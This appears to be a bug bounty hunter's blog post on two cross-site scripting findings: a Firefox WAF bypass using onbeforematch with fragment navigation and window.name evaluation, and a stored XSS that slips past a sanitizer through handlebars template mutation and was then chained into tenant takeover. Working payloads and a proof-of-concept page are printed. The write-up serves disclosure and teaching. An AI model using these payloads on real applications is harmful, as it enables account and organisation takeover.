Overview
It’s been a year and some change since I’ve wrote anything here (whoops). And while I have a backlog of bugs I want to write about, finding the time to actually do it is a different story. Despite these hardships, I’m gonna shake off the dust and enter the new year by leaving you with two recent XSS findings. Note that neither of these are particularly novel, but I had a lot of fun finding them and, in my opinion, they’re juuuuust past the threshold of interesting enough to warrant a quick post.
The first finding is on a program that allows hunters to try and bypass their WAF in a test environment. The payload only works in Firefox due to some differences in how the beforematch event is handled when defined inline. Second is a Stored XSS with an interesting sanitizer bypass that resulted in privilege escalation and complete organizational takeover within the application.
Finding #1: WAF Bypass
One of my favorite pastimes is working through XSS challenges people post on Twitter. While doing that very thing, I found myself doomscrolling MDN while deep in a rabbit hole and came across the beforematch event handler:
The HTML
hiddenattribute accepts a valueuntil-found: when this value is specified, the element is hidden but its content will be accessible to the browser’s “find in page” feature or to fragment navigation. When these features cause a scroll to an element in a “hidden until found” subtree, the browser will:
Fire a
beforematchevent on the hidden elementRemove the
hiddenattribute from the elementScroll to the element
So, on an element defined with the event handler attribute onbeforematch, and hidden set to “until-found”, the event handler will fire upon fragment navigation. The below payload, with x as the fragment value, will pop an alert:
<example id="x" onbeforematch="alert()" hidden="until-found"></example>
While this wasn’t the solution to the original XSS challenge, it did prove useful later. A little over a year ago, a friend messaged me with an XSS they were working on in a program that accepts reports for WAF bypasses in a given test environment. This led to some really fun bypasses and a few new tricks in the arsenal for popping an alert without parenthesis. Here’s our reaction to finally getting an alert to fire:
noah — 10/29/24, 3:44 PM
IT’S ONE BRACKET VALUE WAY FROM BEING ADDED TO THE TARGET ELEM
“id=ionbeforeinput=x=alert+1;i.attributes[4]=/alert/.source+x[14]+1+x[15] oncopy/
the i.attributes[4] is the ONLY thing flagging this..
wait wait
omg
alert pops
noah — 10/29/24, 3:52 PM
RRRRRRRRRAAAAAAAAAAAAAAAAAAAAAAAAAAAH!!!!!!!!!!!!!!!!!!!!!!!!!!!!!11jay — 10/29/24, 3:53 PM
WHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
Flash forward to the present, I thought beforematch would be a good event handler to revisit this program with. I’ll save you from the minutiae of building the payload and just explain what worked to pop the alert.
final payload:
?param=<test id+=x onbeforematch+=y=eval,z=((name)),y(z) hidden+=until-found>#x
-
Defines an element test (element name can be arbitrary) and sets the attributes id, onbeforematch, and hidden.
-
y=eval,z=((name)),y(z)will fire before bringing the element into view with fragment navigation. This simply assignseval()to the variabley, assignswindow.nameto variablez, and evaluates the contents ofwindow.nameby callingy(z).
Popping an alert now becomes trivial:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>nowafpls</title>
</head>
<body>
<script>window.open("https://example.com/?param=%3Ctest%20id+=x%20onbeforematch+=y%3Deval,z%3D((name)),y(z)%20hidden+=until-found%3E#x", "alert(document.domain)");</script>
</body>
</html>
- Uses
window.open()to assignwindow.name.
Finding #2: Stored XSS -> Tenant Takeover
This finding was on an application used for collaboration within an organization between team members and different business units. It allows businesses to do things like task management, messaging and communication, document and file collaboration, and tons of other boring stuff.
I was particularly interested in testing the meeting functionality, as it allowed dynamic creation of templates for things like emails related to the meeting, pages for related documents and notes, etc. One thing to note is that even the lowest privileged user can create meetings and invite other users.
The feature for creating pages related to a meeting is just a WYSIWYG editor that allows only safe HTML elements and attribute values. Any attempts to include things like on* attributes, JavaScript pseudo protocol, or id and name attributes for clobbering global variables will be sanitized out.
Before long, I noticed that updating a template with predefined values sends a GraphQL mutation with raw handlebars templates, i.e., {{organization_name}}, {{first_name}}, {{email}}, etc.
On a whim, and not knowing much about handlebars syntax, I tried a simple {{constructor}}, which rendered [object Object] within the meeting page. Next, I tried {{constructor.constructor}} to attempt to access the Function constructor; however, this was sanitized out. The last thing I tried was bypassing the sanitizer by taking advantage of the mutation that happens when the sanitizer removes malicious input. Ultimately, the below payload popped the alert:
<{{constructor․constructor}}img{{constructor․constructor}} src{{constructor․constructor}}=x{{constructor.constructor}} onerro{{constructor.constructor}}r=alert(document.domain)>
Not my prettiest work, but it gets the job done. In the final PoC, I used a call to GraphQL to escalate privileges from the lowest privileged user to complete takeover of the tenant, with the only requirement being the victim accepts the meeting invite and browses to the associated meeting page.
Outro
As I said, nothing particularly novel. I’ll try to put these out more often in-between other responsibilities, hopefully with a bit more detail next time. That being said, if you have any questions, corrections, or feedback, don’t hesitate to message me on Discord: jay.ctf.